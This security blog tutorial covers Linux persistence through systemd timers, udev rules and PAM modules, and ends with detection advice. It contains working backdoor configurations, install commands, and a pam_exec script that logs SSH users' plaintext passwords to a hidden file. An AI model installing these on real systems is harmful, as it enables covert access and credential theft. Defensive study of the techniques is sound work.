Linux Persistence: systemd Timers, udev Rules, and PAM Modules

Linux Persistence: systemd Timers, udev Rules, and PAM Modules - article cover image Linux Privesc
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Once an attacker has code execution on a Linux host, the next question is how to survive a reboot, a credential rotation, or a cleanup pass without dropping an obvious cron job or SUID binary that every hardening checklist looks for first. systemd timers, udev rules, and PAM modules are three legitimate, deeply trusted subsystems that also happen to make excellent persistence hosts: each executes attacker-controlled code under conditions (a schedule, a device event, an authentication attempt) that look like ordinary system operation rather than obviously malicious activity.

What makes these mechanisms attractive is not novelty — they are all well-documented, standard Linux features — but blend-in value. A malicious systemd timer looks identical in systemctl list-timers to every legitimate one; a udev rule sits among dozens of vendor-shipped rules; and a PAM stack change can be a single added line in a file nobody diffs regularly. Each requires root to install, so these are post-exploitation persistence techniques, not initial-access vulnerabilities — but they are exactly the techniques that separate a one-time compromise from a long-term foothold.

Attack Prerequisites

All three techniques below require the attacker to already have, at minimum, one of:

  • Root or write access to /etc/systemd/system/, needed to install a timer/service pair or an override for an existing unit.
  • Root or write access to /etc/udev/rules.d/, needed to add a rule that fires RUN+= on a device event.
  • Root or write access to /etc/pam.d/, needed to add a module line (most impactfully to pam_exec.so) into an authentication stack such as sshd or sudo.
  • The ability to trigger, or wait for, the corresponding event: a timer elapsing, a device being plugged in or a udevadm trigger, or a user authenticating.

How It Works

A systemd timer (.timer unit) is paired with a same-named .service unit and fires it on a calendar schedule (OnCalendar=) or relative to boot/activation (OnBootSec=, OnUnitActiveSec=) — functionally cron, but integrated into systemd’s unit model, logging, and dependency graph, and therefore checked by fewer legacy “look at crontab” audit scripts.

udev is the kernel’s device-manager daemon; rules in /etc/udev/rules.d/*.rules match device events (ACTION=="add", a specific SUBSYSTEM, vendor/product ID, etc.) and can run an arbitrary command via RUN+="...", executed by udevd — which runs as root. Because almost every USB insertion, drive mount, or virtual device creation generates udev events, a rule scoped broadly enough will fire constantly and unobtrusively, and one scoped to a specific innocuous device (a particular USB vendor ID, for instance) fires only when the attacker chooses to plug something in.

PAM (Pluggable Authentication Modules) is the stack every authentication-aware program (sshd, sudo, login, su) calls through, configured per-service in /etc/pam.d/. The pam_exec.so module runs an arbitrary external command at whatever stack phase it is inserted into (auth, session, etc.), optionally passing the authenticating username and, for auth, even the plaintext password via expose_authtok. Inserted into the sshd or sudo PAM stack, this gives an attacker either a persistent backdoor invoked on every login, or a live credential harvester.

Vulnerable Code / Configuration

A systemd timer/service pair dropped into the system unit directory is the most direct analogue of a cron persistence job, but with less scrutiny in most environments:

# /etc/systemd/system/net-check.timer
[Timer]
OnBootSec=5min
OnUnitActiveSec=2h
[Install]
WantedBy=timers.target

# /etc/systemd/system/net-check.service
[Service]
Type=oneshot
ExecStart=/usr/local/bin/net-check.sh   # attacker payload
INI

A udev rule that runs a payload whenever any block device is attached — broad enough to fire reliably, innocuous-looking among vendor rules:

# /etc/udev/rules.d/99-usb-persist.rules
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/local/bin/.sync-agent"
TEXT

A PAM stack line inserted ahead of the normal auth modules, harvesting credentials on every SSH login:

# /etc/pam.d/sshd — inserted line (VULNERABLE)
auth optional pam_exec.so expose_authtok /usr/local/bin/.creds.sh

# /usr/local/bin/.creds.sh
#!/bin/sh
read -r pw
echo "$(date) $PAM_USER:$pw" >> /var/tmp/.cache
TEXT

Walkthrough / Exploitation

Install and enable a timer-based backdoor that periodically re-fetches and executes a stager, then confirm it is scheduled like any other unit:

cp net-check.timer net-check.service /etc/systemd/system/
systemctl daemon-reload
systemctl enable --now net-check.timer
systemctl list-timers | grep net-check
Bash

Drop the udev rule and reload udev’s rule cache so it takes effect without a reboot:

cp 99-usb-persist.rules /etc/udev/rules.d/
udevadm control --reload-rules
udevadm trigger --action=add --subsystem-match=usb   # test-fire it
Bash

Insert the PAM credential harvester and verify the stack parses it correctly — a syntax error here can lock out all SSH logins, which is self-defeating for persistence:

printf 'auth optional pam_exec.so expose_authtok /usr/local/bin/.creds.sh\n' \
  | cat - /etc/pam.d/sshd > /tmp/sshd.new && cp /tmp/sshd.new /etc/pam.d/sshd
sshd -t                       # validate sshd config still parses
# keep a second root shell open before testing an SSH login
Bash

Note: PAM edits are the highest-risk of the three to get wrong — a broken stack can lock out every authentication path on the box, including console login. Always keep an already-authenticated root shell open while testing, and prefer session hooks (run after auth succeeds) over auth hooks when only persistence, not credential capture, is the goal.

Opsec: All three techniques leave artifacts: journalctl -u net-check.service records every timer firing, udevadm monitor and the kernel log show rule-triggered RUN+= execution, and auditd file-write watches on /etc/systemd/system, /etc/udev/rules.d, and /etc/pam.d catch the drop itself if configured. None of these mechanisms hide from a process listing at execution time either — the payload still runs as a normal, visible process.

Detection and Defense

Because all three paths require root to install, defense centers on integrity monitoring and tight write controls on the relevant directories:

  • File-integrity monitor /etc/systemd/system/, /etc/udev/rules.d/, and /etc/pam.d/ and alert on any change outside a package-manager transaction (dpkg -V, rpm -Va, AIDE/Tripwire baselines).
  • Audit writes to these directories directly: auditctl -w /etc/pam.d -p wa -k pam_change, similarly for the systemd and udev rule paths.
  • Periodically enumerate systemctl list-timers --all and systemctl list-unit-files for units not tracked by the package manager, and diff against a known baseline.
  • Review /etc/udev/rules.d/ for RUN+= entries pointing outside standard vendor tooling paths (/usr/lib/udev/, /sbin/).
  • Review the full PAM stack, not just sshd, for pam_exec.so or pam_exec.so ... expose_authtok, and restrict who can write to /etc/pam.d/ at all — it should never be group- or world-writable.

Real-World Impact

systemd timer and udev-based persistence are documented techniques in MITRE ATT&CK (Scheduled Task/Job and Event Triggered Execution categories) and appear regularly in Linux incident-response writeups and CTF/red-team tooling as lower-noise alternatives to cron and rc.local persistence, precisely because defenders’ muscle memory still checks cron and startup scripts first. PAM-based credential harvesting via pam_exec.so is a long-standing technique against SSH bastions and jump hosts, valuable because it captures plaintext credentials at the point of entry rather than requiring a later offline crack.

Conclusion

systemd timers, udev rules, and PAM modules are trusted-by-default Linux subsystems, and that trust is exactly what makes them effective persistence and credential-capture vectors once an attacker has root. Treat their configuration directories as Tier-0 file-integrity targets, audit writes to them explicitly, and baseline the set of timers, udev rules, and PAM stack entries on every host so that an unexplained addition stands out instead of blending in.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL